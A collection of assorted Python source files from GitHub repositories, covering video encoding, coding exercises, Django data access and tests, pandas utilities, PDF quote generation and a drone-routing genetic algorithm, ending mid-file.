set_info\n\n\ndef encode_video(cmd):\n    # parse the cmd\n    starting_frame, frame_name, total_frame_number, output_video = cmd\n\n    return subprocess.call(['ffmpeg', '-start_number', starting_frame ,'-i', frame_name, '-vframes', str(total_frame_number),\n                         '-r', '30', '-b:v', '64M', '-vcodec', 'libx265', output_video])\n\ndef copy_frames_to(cmd):\n    src_dir = cmd[0]\n    tgt_dir = cmd[1]\n    copy2(src_dir, tgt_dir)\n    return 0\n\nif __name__ == \"__main__\":\n\n    __INPUT_DIR__ = '/media/dc2019/My Book/VID/RAW/testing_this/'#'/media/dc2019/My Book/VID/00_RAW/test/'\n    __OUTPUT_DIR__ = '/media/dc2019/My Book/VID/VQM_data'\n    target_sec = 50 # target seconds for the video\n\n    set_continue = 50\n    val_set_continue = 16\n    test_set_continue = 14\n\n    set_list = sorted(os.listdir(__INPUT_DIR__))\n\n    for set in set_list:\n        print('===> Now encoding.... {}'.format(set))\n        base_dir = os.path.join(__INPUT_DIR__, set)\n        zed_frame_dir = os.path.join(base_dir, 'zed_frames')\n        canon_frame_dir = os.path.join(base_dir, 'canon_frames')\n\n        frame_flag_info = read_frame_flags(os.path.join(base_dir, 'frame_flag.txt'))\n        if frame_flag_info is None:\n            continue\n        zed_starting_frame = frame_flag_info['zed'] #str\n        canon_starting_frame = frame_flag_info['canon'] #str\n\n        # Compute the total number of frame of the video\n        zed_frame_num = len(os.listdir(zed_frame_dir))\n        canon_frame_num = len(os.listdir(canon_frame_dir))\n        total_frame_number = min(30*target_sec, min((canon_frame_num - int(canon_starting_frame)), (zed_frame_num - int(zed_starting_frame))))\n\n        # Set the input frames and output video\n        canon_frames = os.path.join(canon_frame_dir, 'canon%06d.png')\n        zed_frames = os.path.join(zed_frame_dir, 'zed%06d.png')\n\n        pool = Pool(processes=2)\n\n        if frame_flag_info['type'] == 'training':\n            print(magenta('[Training SET] Total frame numbers to be used {}'.format(total_frame_number)))\n\n            canon_output_video = os.path.join(__OUTPUT_DIR__, 'canon/training/set{:02d}.mp4'.format(set_continue))\n            zed_output_video = os.path.join(__OUTPUT_DIR__, 'zed/training/set{:02d}.mp4'.format(set_continue))\n\n            canon_cmd = [canon_starting_frame, canon_frames, total_frame_number, canon_output_video]\n            zed_cmd = [zed_starting_frame, zed_frames, total_frame_number, zed_output_video]\n\n            pool.map(encode_video, [canon_cmd, zed_cmd])\n\n            set_continue += 1\n\n        elif frame_flag_info['type'] == 'validation':\n            print(magenta('[Validation SET] Total frame numbers to be used 120'))\n\n            val_set_continue += 1\n            canon_output_dir = os.path.join(__OUTPUT_DIR__, 'canon/validation/val_set{:02d}'.format(val_set_continue))\n            zed_output_dir = os.path.join(__OUTPUT_DIR__, 'zed/validation/val_set{:02d}'.format(val_set_continue))\n\n            for i in range(120):\n                canon_cmd = [os.path.join(canon_frame_dir, 'canon{:06d}.png'.format(int(canon_starting_frame)+i)),\n                             os.path.join(canon_output_dir, 'frame{:03d}.png'.format(i))]\n                zed_cmd = [os.path.join(zed_frame_dir, 'zed{:06d}.png'.format(int(zed_starting_frame)+i)),\n                             os.path.join(zed_output_dir, 'frame{:03d}.png'.format(i))]\n\n                pool.map(copy_frames_to, [canon_cmd, zed_cmd])\n\n        elif frame_flag_info['type'] == 'test':\n            print(magenta('[Test SET] Total frame numbers to be used 120'))\n\n            test_set_continue += 1\n            canon_output_dir = os.path.join(__OUTPUT_DIR__, 'canon/test/test_set{:02d}'.format(test_set_continue))\n            zed_output_dir = os.path.join(__OUTPUT_DIR__, 'zed/test/test_set{:02d}'.format(test_set_continue))\n\n            for i in range(120):\n                canon_cmd = [os.path.join(canon_frame_dir, 'canon{:06d}.png'.format(int(canon_starting_frame) + i)),\n                             os.path.join(canon_output_dir, 'frame{:03d}.png'.format(i))]\n                zed_cmd = [os.path.join(zed_frame_dir, 'zed{:06d}.png'.format(int(zed_starting_frame) + i)),\n                           os.path.join(zed_output_dir, 'frame{:03d}.png'.format(i))]\n\n                pool.map(copy_frames_to, [canon_cmd, zed_cmd])\n\n        else:\n            continue","repo_name":"shgold/data_collection_AIM","sub_path":"useful_fuctions/temp_frames_to_vid.py","file_name":"temp_frames_to_vid.py","file_ext":"py","file_size_in_byte":5575,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"7577090181","text":"deck = input().split()\nnumber_of_shuffles = int(input())\nleft_half = []\nright_half = []\n\nfor shuffles in range(number_of_shuffles):\n    current_deck = []\n    half_of_deck = len(deck) // 2\n    left_half = deck[0:half_of_deck]\n    right_half = deck[half_of_deck::]\n    for cart in range(len(left_half)):\n        current_deck.append(left_half[cart])\n        current_deck.append(right_half[cart])\n\n    deck = current_deck\n\nprint(deck)\n\n\n","repo_name":"ivan-yosifov88/python_fundamentals","sub_path":"list_basic_exercise/demo_faro.py","file_name":"demo_faro.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41411902109","text":"from collections import deque\nNUM_OF_PLAYERS = 404\nNUM_MARBLES = 71852 * 100\nplayer_score = [0] * NUM_OF_PLAYERS\ncircle = deque([0])\n\nfor marble in range(1,NUM_MARBLES+1):\n    if marble % 23 == 0:\n        circle.rotate(7)\n        player = marble % NUM_OF_PLAYERS\n        player_score[player] += marble + circle.popleft()\n    else:\n        circle.rotate(-2)\n        circle.appendleft(marble)\nprint(max(player_score))","repo_name":"GandolfHobbitlord/adventofcode","sub_path":"2018/day9/day9.py","file_name":"day9.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70538840697","text":"\"\"\"\nGive you an integer array (index from 0 to n-1, where n is the size of this array, value from 0 to 10000) . \nFor each element Ai in the array, count the number of element before this element Ai is smaller than it and return count number array.\n\nExample:\nFor array [1,2,7,8,5], return [0,1,2,3,2]\n\"\"\"\n\n\"\"\"\nDefinition of SegmentTreeNode:\nclass SegmentTreeNode:\n    def __init__(self, start, end):\n        self.start, self.end, self.count = start, end, 0\n        self.left, self.right = None, None\n\"\"\"\n\nclass Solution:\n    \"\"\"\n    @param A: A list of integer\n    @return: Count the number of element before this element 'ai' is \n             smaller than it and return count number list\n    \"\"\"\n    def countOfSmallerNumberII(self, A):\n        # write your code here\n        if not A or len(A) == 0:\n            return []\n        segment_tree, result = self.build(0, 10000), []\n        for i in range(len(A)):\n            answer = 0\n            if A[i] > 0:\n                answer = self.query(segment_tree, 0, A[i] - 1)\n            result.append(answer)\n            self.modify(segment_tree, A[i], 1)\n        return result\n\n    def build(self, start, end):\n        if start > end:\n            return None\n        root = SegmentTreeNode(start, end, 0)\n        if start != end:\n            mid = start + (end - start) / 2\n            root.left = self.build(start, mid)\n            root.right = self.build(mid + 1, end)\n        else:\n            root.count = 0\n        return root\n\n    def query(self, root, start, end):\n        if start > end or not root:\n            return 0\n        if start <= root.start and root.end <= end:\n            return root.count\n        mid = root.start + (root.end - root.start) / 2\n        left_count, right_count = 0, 0\n        if start <= mid:\n            if mid < end:\n                left_count = self.query(root.left, start, mid)\n            else:\n                left_count = self.query(root.left, start, end)\n        if mid < end:\n            if start <= mid:\n                right_count = self.query(root.right, mid + 1, end)\n            else:\n                right_count = self.query(root.right, start, end)\n        return left_count + right_count\n    \n    # add value to the index    \n    def modify(self, root, index, value):\n        # write your code here\n        if root.start == index and root.end == index:\n            root.count += value\n            return\n        mid = root.start + (root.end - root.start) /2\n        if index >= root.start and index <= mid:\n            self.modify(root.left, index, value)\n        elif index >= mid + 1 and index <= root.end:\n            self.modify(root.right, index, value)\n        root.count = root.left.count + root.right.count\n","repo_name":"AnthonyNeu/LintCode","sub_path":"Python/Count of Smaller Number before itself.py","file_name":"Count of Smaller Number before itself.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"22"}
+{"seq_id":"35986236591","text":"'''Faça uma uma função que receba um vetor com as notas de vários alunos e retorne tanto a\nmédia geral quanto o desvio padrão (populacional).'''\n\nimport random\nimport math\n\n\ndef media_dp(notas,qnt_alu):\n    media = 0\n    dp = 0\n        \n    for i in notas:\n        media += i    \n    media /= qnt_alu\n\n    for i in notas:\n        dp += (i-media) ** 2\n    dp = math.sqrt(dp / qnt_alu)\n    \n    return f'Média: {media:.2f} | Desvio Padrão: {dp:.2f}'\n\n    \nrandom.seed(0)\n        \nnotas = []\nqnt_alu = 15\n\nfor i in range(qnt_alu):\n    notas.append(random.uniform(0,10))\n    \nprint(media_dp(notas,qnt_alu))","repo_name":"lucenac/fup-ufc","sub_path":"fup_7/12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74271584695","text":"from numpy.distutils.core import setup, Extension\n\nwith open(\"README.md\", \"r\") as file:\n    long_description = file.read()\n\ndev_status = {\n    \"Alpha\": \"Development Status :: 3 - Alpha\",\n    \"Beta\": \"Development Status :: 4 - Beta\",\n    \"Pro\": \"Development Status :: 5 - Production/Stable\",\n    \"Mature\": \"Development Status :: 6 - Mature\",\n}\n\nsetup(\n    name=\"FortranRNG\",\n    author=\"Robert Sharp\",\n    author_email=\"webmaster@sharpdesigndigital.com\",\n    url=\"https://github.com/BrokenShell/FortranRNG-API/tree/main/FortranRNG\",\n    version=\"1.5.1\",\n    ext_modules=[\n        Extension(\n            name=\"FortranRNG\",\n            sources=[\"FortranRNG.f90\", \"ArrayRNG.f90\", \"MatrixRNG.f90\"],\n        ),\n    ],\n    install_requires=[\"numpy\"],\n    license=\"Free for non-commercial use\",\n    description=\"Fortran RNG for Python3\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    platforms=[\"Darwin\", \"Linux\", \"Windows\"],\n    classifiers=[\n        dev_status[\"Pro\"],\n        \"Programming Language :: Python :: 3.7\",\n        \"Programming Language :: Fortran\",\n        \"Operating System :: MacOS :: MacOS X\",\n        \"Operating System :: POSIX :: Linux\",\n        \"Operating System :: Microsoft :: Windows\",\n        \"Topic :: Software Development :: Libraries :: Python Modules\",\n    ],\n    keywords=[\n        \"FortranRNG\", \"High Performance Random Value Toolkit\",\n        \"percent true\",\n        \"d\", \"dice\",\n        \"random below\", \"random integer\", \"random range\",\n        \"plus or minus\", \"plus of minus linear\",\n        \"canonical\", \"random float\", \"triangular\",\n        \"ZeroCool Algorithms\", \"random index\",\n        \"front linear\", \"middle linear\", \"back linear\", \"quantum linear\",\n    ],\n    python_requires=\">=3.7\",\n)\n","repo_name":"BrokenShell/FortranRNG-API","sub_path":"FortranRNG/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17664415418","text":"# -*- coding: utf8 -*-\n\nfrom entity.Location import Location\nfrom app import db\n\n\ndef getAllProvince():\n    try:\n        return db.session.query(Location).filter(Location.locationLevel == 0).all()\n    except Exception as e:\n        raise DatabaseError(\"getAllProvince方法异常\", e.message, e)\n        return None\n    finally:\n        db.session.remove()\n\n\ndef getAllCitiesInProvince(provinceId):\n    try:\n        return (\n            db.session.query(Location)\n            .filter(Location.parentId == provinceId)\n            .filter(Location.locationLevel == 1)\n            .all()\n        )\n    except Exception as e:\n        raise DatabaseError(\"getAllCitiesInProvince方法异常\", e.message, e)\n        return None\n    finally:\n        db.session.remove()\n\n\ndef getAllDistrictsInCity(cityId):\n    try:\n        return (\n            db.session.query(Location)\n            .filter(Location.parentId == cityId)\n            .filter(Location.locationLevel == 2)\n            .all()\n        )\n    except Exception as e:\n        raise DatabaseError(\"getAllDistrictsInCity方法异常\", e.message, e)\n        return None\n    finally:\n        db.session.remove()\n","repo_name":"EmbryoAI/EmbryoAI-System","sub_path":"code/python/dao/front/location_dao.py","file_name":"location_dao.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"4370577907","text":"from unittest import mock\n\nfrom django.test import TestCase\nfrom django.utils import timezone\n\nfrom dsmr_datalogger.models.reading import DsmrReading\n\n\nclass TestDsmrReading(TestCase):\n    @mock.patch(\"django.utils.timezone.now\")\n    def setUp(self, now_mock):\n        now_mock.return_value = timezone.make_aware(\n            timezone.datetime(2018, 1, 1), timezone=timezone.utc\n        )\n        self.instance = DsmrReading.objects.create(\n            timestamp=timezone.now(),\n            electricity_delivered_1=1,\n            electricity_returned_1=2,\n            electricity_delivered_2=3,\n            electricity_returned_2=4,\n            electricity_currently_delivered=5,\n            electricity_currently_returned=6,\n        )\n\n    def test_ordering(self):\n        \"\"\"Test whether default model sorting is as expected.\"\"\"\n        self.assertEqual(DsmrReading()._meta.ordering, [\"timestamp\"])\n\n    def test_str(self):\n        \"\"\"Model should override string formatting.\"\"\"\n        self.assertNotEqual(str(self.instance), \"DsmrReading\")\n\n    def test_managers(self):\n        self.assertTrue(DsmrReading.objects.unprocessed().exists())\n        DsmrReading.objects.all().update(processed=True)\n        self.assertTrue(DsmrReading.objects.processed().exists())\n\n    @mock.patch(\"django.utils.timezone.now\")\n    def test_convert_to_local_timezone(self, now_mock):\n        \"\"\"Test altering the timezone formatting for the timestamps.\"\"\"\n        now_mock.return_value = timezone.make_aware(\n            timezone.datetime(2018, 1, 1), timezone=timezone.utc\n        )\n\n        self.assertEqual(str(self.instance.timestamp), \"2018-01-01 00:00:00+00:00\")\n        self.assertIsNone(self.instance.extra_device_timestamp)\n\n        # Only timestamp.\n        self.instance.convert_to_local_timezone()\n        self.assertEqual(str(self.instance.timestamp), \"2018-01-01 01:00:00+01:00\")\n        self.assertIsNone(self.instance.extra_device_timestamp)\n\n        # Now extra device.\n        self.instance.extra_device_timestamp = timezone.now() + timezone.timedelta(\n            hours=12\n        )\n        self.assertEqual(\n            str(self.instance.extra_device_timestamp), \"2018-01-01 12:00:00+00:00\"\n        )\n\n        # Both.\n        self.instance.convert_to_local_timezone()\n        self.assertEqual(str(self.instance.timestamp), \"2018-01-01 01:00:00+01:00\")\n        self.assertEqual(\n            str(self.instance.extra_device_timestamp), \"2018-01-01 13:00:00+01:00\"\n        )\n","repo_name":"dsmrreader/dsmr-reader","sub_path":"dsmr_datalogger/tests/models/test_reading.py","file_name":"test_reading.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"en","doc_type":"code","stars":449,"dataset":"github-code","pt":"22"}
+{"seq_id":"3336867313","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import keys\nimport time\n\ndriver=webdriver.Chrome(executable_path=\"/home/trainee/Desktop/Automation_Testing/chromedriver\")\n\ndriver.maximize_window()\ndriver.get(\"https://www.google.com/\")\n\nsearch=driver.find_element_by_name(\"q\")\nsearch.send_keys(\"ToXSL\")\n\ntime.sleep(1)\n\nbutton=driver.find_element_by_name(\"btnK\")\nbutton.click()\n","repo_name":"Harshit4991/GRIPMAR21","sub_path":"OpenChrome.py","file_name":"OpenChrome.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"10272895205","text":"from copy import deepcopy\nfrom typing import Union, List, Dict\nfrom src.insights.jobs import read\n\n\ndef get_max_salary(path: str) -> int:\n    jobs_list = read(path)\n    max_salaries = [int(job[\"max_salary\"])\n                    for job in jobs_list\n                    if job[\"max_salary\"].isnumeric()]\n    return max(max_salaries)\n\n\ndef get_min_salary(path: str) -> int:\n    jobs_list = read(path)\n    min_salaries = [int(job[\"min_salary\"])\n                    for job in jobs_list\n                    if job[\"min_salary\"].isnumeric()]\n    return min(min_salaries)\n\n\ndef matches_salary_range(job: Dict, salary: Union[int, str]) -> bool:\n    job_copy = deepcopy(job)\n    try:\n        salary = int(salary)\n        for key in [\"min_salary\", \"max_salary\"]:\n            job_copy[key] = int(job_copy[key])\n        if job_copy[\"min_salary\"] > job_copy[\"max_salary\"]:\n            raise ValueError\n    except (ValueError, TypeError, KeyError):\n        raise ValueError\n    return (salary >= job_copy[\"min_salary\"]\n            and salary <= job_copy[\"max_salary\"])\n\n\ndef filter_by_salary_range(\n    jobs: List[dict],\n    salary: Union[str, int]\n) -> List[Dict]:\n    filtered_jobs = []\n    for job in jobs:\n        try:\n            if matches_salary_range(job, salary):\n                filtered_jobs.append(job)\n        except ValueError:\n            pass\n    return filtered_jobs\n","repo_name":"gabriel-dsdc/job-insights","sub_path":"src/insights/salaries.py","file_name":"salaries.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"40075327278","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Código Python para geração de orçamentos em PDF\n\n# In[2]:\n\n\nprint(\"Orçamento gerado com sucesso\")\n\n\n# # Entrada de Dados\n\n# In[6]:\n\n\ninput (\"Digite a descrição do projeto: \")\ninput (\"Digite o total de horas estimadas: \")\ninput (\"Digite o valor da hora trabalhada: \")\ninput (\"Digite o prazo estimado: \")\n\n\n# # Gravação de Dados\n\n# In[16]:\n\n\nProjeto = input (\"Digite a descrição do projeto: \")\nHoras_Estimadas = input (\"Digite o total de horas estimadas: \")\nValor_Hora = input (\"Digite o valor da hora trabalhada: \")\nPrazo_Estimado = input (\"Digite o prazo estimado: \")\n\n\n# In[17]:\n\n\nprint (Projeto)\nprint (Horas_Estimadas)\nprint (Valor_Hora)\nprint (Prazo_Estimado)\n\n\n# # Cálculos\n\n# In[18]:\n\n\nTotal_Estimado = int(Horas_Estimadas) * int(Valor_Hora)\n\n\n# In[21]:\n\n\nprint(Total_Estimado)\n\n\n# # Gerador de PDF\n\n# In[23]:\n\n\nget_ipython().system('pip install fpdf')\n\n\n# In[29]:\n\n\nfrom fpdf import FPDF\n\n\n# In[36]:\n\n\npdf = FPDF()\n\npdf.add_page()\npdf.set_font(\"Arial\")\npdf.image(\"template.png\", x=0, y=0)\n\n\npdf.text(115, 145, Projeto)\npdf.text(115, 160, Horas_Estimadas)\npdf.text(115, 175, Valor_Hora)\npdf.text(115, 190, Prazo_Estimado)\npdf.text(115, 205, str(Total_Estimado))\npdf.output(\"Orçamento.pdf\")\nprint(\"Orçamento Gerado com Sucesso\")\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"VHToffoli/Empowerdata---Aula-1","sub_path":"Gerador de Orçamentos PDF.py","file_name":"Gerador de Orçamentos PDF.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41532548616","text":"class NumberContainers:\n\n    def __init__(self):\n        self.index_to_num = {}\n        self.num_to_index = {}\n\n    def __str__(self):\n        return (str(self.index_to_num) + \"\\n\" + str(self.num_to_index))\n\n    def change(self, index: int, number: int) -> None:\n        # 1) New index, new number\n        if (index not in self.index_to_num) and (number not in self.num_to_index):\n            self.index_to_num[index] = number\n            self.num_to_index[number] = [index]\n        # 2) New index, same number\n        elif index not in self.index_to_num:\n            self.index_to_num[index] = number\n            self.num_to_index[number].append(index)\n        # 3) Same index, new number\n        elif number not in self.num_to_index:\n            # Find index of old number at this place, remove from num_to_index\n            old_num_index = self.index_to_num[index]\n            self.num_to_index[old_num_index].remove(index)\n            # Delete list from dict if empty\n            if len(self.num_to_index[old_num_index]) == 0:\n                del self.num_to_index[old_num_index]\n            # Update value\n            self.index_to_num[index] = number\n            self.num_to_index[number] = [index]\n\n    def find(self, number: int) -> int:\n        if number in self.num_to_index:\n            return min(self.num_to_index[number])\n        return -1\n\ns = NumberContainers()\nactions = [\"change\",\"change\",\"find\",\"find\",\"find\",\"change\",\"find\",\"find\",\"change\",\"find\",\"change\",\"change\",\"change\",\"find\",\"find\",\"change\",\"find\",\"change\",\"change\",\"change\"]\nvalues = [[25,50],[56,31],[50],[50],[43],[30,50],[31],[43],[25,20],[50],[56,43],[68,31],[56,31],[20],[43],[25,43],[43],[56,31],[54,43],[63,43]]\nresults = []\nfor i, item in enumerate(actions):\n    if item == \"change\":\n        print(\"Chaning position:\", values[i][0], \"to\", values[i][1])\n        s.change(values[i][0], values[i][1])\n        print(s)\n        print()\n    else:\n        results.append(s.find(values[i][0]))\nprint(str(results))","repo_name":"BobbyRobillard/CodingChallenges","sub_path":"LeetCode/BiWeeklyCompetitions/Bi-Weekly-83/6130.py","file_name":"6130.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26846009329","text":"import os, sys\npath_name= os.path.dirname(os.path.abspath(os.path.dirname(__file__)))\nsys.path.append(path_name)\n\nfrom _element import varr\n\nimport pandas as pd\nimport numpy as np\nimport copy\nfrom datetime import datetime\nfrom collections import OrderedDict\n\ndef xlsx_opener(df_dir, inputfilename, merged= True, inputsheetname= None):\n    '''\n    엑셀 파일을 엽니다.\n    현재는 특정한 디렉토리가 inputfilename에 적혀져 있어야 열릴 수 있는 상태입니다.\n    '''\n    xls= pd.ExcelFile(df_dir+inputfilename)\n    if not inputsheetname: inputsheetname= xls.sheet_names\n    if merged:\n        df_txs= pd.DataFrame()\n        for sheet_name in inputsheetname:\n            df= xls.parse(sheet_name)\n            df_txs= pd.concat([df_txs, df])\n        return df_txs\n    else:\n        dict_of_dfs = {}\n        for sheet_name in inputsheetname:\n            dict_of_dfs[sheet_name] = xls.parse(sheet_name)\n        return dict_of_dfs\n\ndef is_dict(dict_of_dfs):\n    if isinstance(dict_of_dfs, type(OrderedDict())) or isinstance(dict_of_dfs, dict):\n        return True\n    else: return False\n\ndef dict_to_df(dict_of_dfs):\n    df_txs= pd.DataFrame()\n    if is_dict(dict_of_dfs):\n        for sheetname, df in dict_of_dfs.items():\n            df_txs= pd.concat([df_txs, df])\n    return df_txs\n\ndef colname(df, dict_of_colname):\n    df.rename(columns= dict_of_colname, inplace= True)\n    return None\n\ndef cut_col(df, column_list):\n    return df[column_list]\n\ndef cut_df(txs, start_date, end_date):\n    txs_train= txs[(txs['ds']>= start_date) & (end_date > txs['ds'])]\n    txs_test= txs[(txs['ds'] >= end_date)]\n    return (txs_train, txs_test)\n\ndef struct(df, idx_col, ft_col, val_col, y_sum= True):\n    \"\"\"\n    건수별로 이루어져 있는 df를 날짜를 index로, 건수별 유형 코드를 feature로 하는 df로 만듭니다.\n    현재는 inputfilename이 input값으로 되어 있고, 이후 df를 인풋으로 하도록 수정할 예정입니다.\n    또 현재는 '발송일', '유형', '수량'이라는 feature만을 가진 것으로 짜여져 있는 점,\n    날짜 형식이 YYYMMDD 형식인 경우만을 고려하는 점도 수정해야 합니다.\n    \"\"\"\n    df= df.groupby([df[idx_col], df[ft_col]])[val_col].sum().unstack(ft_col)\n    df.fillna(0, inplace= True)\n    if y_sum: df['y_sum']= df.sum(axis=1)\n    return df\n\ndef unite_dttype(serial):\n    \"\"\"\n    datetime을 pd.to_datetime 코드로 처리할 때, datetime.strptime 코드로 처리할 때 각각\n    Timestamp, datetime dtype로 바뀌는 문제가 나타났습니다.\n    이를 해결하기 위해 datetime의 type을 일정하게 유지하도록 합니다.\n    \"\"\"\n    if serial.dtype== np.str:\n        serial.apply(lambda x: datetime(int(x[:4]),int(x[4:6]),int(x[6:])) if len(x)==8 \\\n                            else datetime.strptime(x, \"%Y-%m-%d\"))\n    elif serial.dtype== np.datetime64:\n        serial= pd.to_datetime(serial, box=True, format= '%Y/%m/%d', exact=True)\n    return serial\n\n\ndef save_as_xlsx(df_dir, df, inputfilename, specialfilename=None):\n    \"\"\"\n    여러 개의 dfsheet로 되어 있는 dictionary(또는 OrderedDict) 데이터를 엑셀에 저장합니다.\n    아직 디렉토리를 설정할 수 없어 나중에 수정해야 합니다.\n    \"\"\"\n    if specialfilename==None: specialfilename= df_dir + inputfilename[:-5] + '_restructured' + inputfilename[-5:]\n    else: specialfilename= df_dir + inputfilename[:-5] + specialfilename + inputfilename[-5:]\n    writer= pd.ExcelWriter(specialfilename, engine= 'xlsxwriter')\n    if is_dict(df):\n        for (dfsheetname, df) in df.items():\n            df.to_excel(writer, sheet_name= dfsheetname)\n    else: df.to_excel(writer, sheet_name= 'data_merged')\n    writer.save()\n    return None\n\n# def add_temp_data(inputfilename, datainfo):\n#     \"\"\"\n#     날씨 관련 정보를 불러와 df로 구성합니다.\n#     현재는 강수량의 경우 'rain_amount', 기온의 경우 'temp_max'와 'temp_min'으로\n#     저장되도록 짜 놓았습니다. 다른 feature가 추가되어야 되면 수정해야 합니다.\n#     \"\"\"\n#     year= int(inputfilename[-13:-9])\n#     month= 1\n#     if year== 2010: month +=6\n#     drop_index=[]\n#     positive_value= lambda x: max(x, 0)\n#     df2= pd.read_csv(inputfilename)\n#     df2.columns= ['ds', 'hour', 'amount']\n#     for index, day, _, _ in df2.itertuples():\n#         if len(day)>4:\n#             month+= 1\n#             drop_index.append(index)\n#         else:\n#             try: df2.at[index, 'ds']=datetime(year, month, int(day))\n#             except: print(df2.loc[index, :])\n#     df2.drop(drop_index, inplace=True)\n#     if datainfo== 'rain':\n#         df2= df2.groupby(df2['ds'])['amount'].sum()\n#         df2.rename('rain_amount', inplace= True)\n#         df2= df2.map(positive_value)\n#     elif datainfo== 'temp':\n#         df2= df2[df2['amount'].map(int) != -1]\n#         agg_func= {'temp_max': np.max, 'temp_min': np.min}\n#         df2= df2.groupby(df2['ds'])['amount'].agg(agg_func)\n#     return df2\n\ndef dir_list(data_path, ext):\n    return [os.path.join(data_path, obj) for obj in os.listdir(data_path)\\\n            if os.path.splitext(obj)[-1]== ext]\n\n# def object_walk(df, colname, on= 'y'):\n#     if on== 'y':\n#         dict_of_dfs= {}\n#         for y_feature in y_col:\n#             df_y= pd.DataFrame(data= df[x_col])\n#             df_y[y_feature]= df[y_feature]\n#             dict_of_dfs[y_feature]= df_y\n#         return dict_of_dfs\n#     elif on== 'x':\n#         dict_of_dfs= {}\n#         for x_feature in x_col:\n#             df_x= pd.DataFrame(data= df[y_col])\n#             df_x[x_feature]= df[x_feature]\n#             dict_of_dfs[x_feature]= df_x\n#         return dict_of_dfs\n\n# Main #########################################################################\n\nif __name__== '__main__':\n    pass\n","repo_name":"wNextop/nextop-engine","sub_path":"nextop_engine/_element/feature_control.py","file_name":"feature_control.py","file_ext":"py","file_size_in_byte":5837,"program_lang":"python","lang":"ko","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"40963134884","text":"try:\n    import os, sys\n    sys.path.append('C:\\\\Users\\\\KindYAK\\\\Desktop\\\\SwarMown\\\\')\n    os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"swarmown.settings\")\n\n    import django\n    django.setup()\nexcept Exception as e:\n    pass\n\nimport json\nimport random\nfrom collections import defaultdict\n\nimport argparse\nfrom deap import creator, base, tools, algorithms\nfrom scoop import futures\n\nfrom mainapp.models import Mission\nfrom mainapp.utils import waypoints_distance, waypoints_flight_time, drone_flight_price, flight_penalty\nfrom mainapp.utils_excel import log_excel\nfrom routing.default.service import get_route\n\nparser = argparse.ArgumentParser()\n\n# Add long and short argument\nparser.add_argument(\"--mission_id\", \"-m\", help=\"Mission id\")\nparser.add_argument(\"--ngen\", \"-n\", help=\"Number of generations\")\nparser.add_argument(\"--population_size\", \"-p\", help=\"Population size\")\nparser.add_argument(\"--filename\", \"-f\", help=\"Filename for output (without extension)\")\nparser.add_argument(\"--max-time\", \"-t\", help=\"Maximum time\")\nparser.add_argument(\"--borderline_time\", \"-b\", help=\"Borderline time\")\nparser.add_argument(\"--max_working_speed\", \"-mxs\", help=\"Max working speed\")\nparser.add_argument(\"--mutation_chance\", \"-mt\", help=\"Mutation chance\")\n\n# Read arguments from the command line\nargs = parser.parse_args()\n\n\ndef eval(individual):\n    drones = [list(mission.drones.all().order_by('id'))[i] for i in individual[2]]\n    grid, waypoints, _, initial = get_route(car_move=individual[3], direction=individual[0], height_diff=None, round_start_zone=None,\n                      start=individual[1], field=field, grid_step=mission.grid_step, feature3=None, feature4=None, road=road, drones=drones)\n    distance = 0\n    drone_price, salary, penalty = 0, 0, 0\n    number_of_starts = len(waypoints)\n    grid_traversed = 0\n    grid_total = sum([len(line) for line in grid])\n\n    drone_flight_time = defaultdict(int)\n    for drone_waypoints in waypoints:\n        new_distance = waypoints_distance(drone_waypoints, lat_f=lambda x: x['lat'], lon_f=lambda x: x['lon'])\n        new_time = waypoints_flight_time(drone_waypoints, float(args.max_working_speed),\n                                         lat_f=lambda x: x['lat'], lon_f=lambda x: x['lon'],\n                                         max_speed_f=lambda x: x['drone']['max_speed'],\n                                         slowdown_ratio_f=lambda x: x['drone']['slowdown_ratio_per_degree'],\n                                         min_slowdown_ratio_f=lambda x: x['drone']['min_slowdown_ratio'],\n                                         spray_on_f=lambda x: x['spray_on'])\n        distance += new_distance\n        drone_flight_time[drone_waypoints[0]['drone']['id']] += new_time + (15 / 60)\n        drone_price_n = drone_flight_price(drone_waypoints[0]['drone'], new_distance, new_time)\n        drone_price += drone_price_n\n        grid_traversed += max(0, len(drone_waypoints) - 2)\n\n    time = max(drone_flight_time.values())\n    salary = mission.hourly_price * time * len(drone_flight_time) + mission.start_price * number_of_starts\n    penalty = flight_penalty(time, float(args.borderline_time), float(args.max_time), salary, drone_price, grid_total, grid_traversed)\n    return distance, time, drone_price, salary, penalty, number_of_starts\n\n\ndef custom_mutate(ind):\n    direction = ind[0]\n    start = ind[1]\n    drones = ind[2]\n    car_points = ind[3]\n\n    if not car_points:\n        car_points = [random.uniform(0, 1)]\n\n    if not drones:\n        drones = [random.randint(0, number_of_drones - 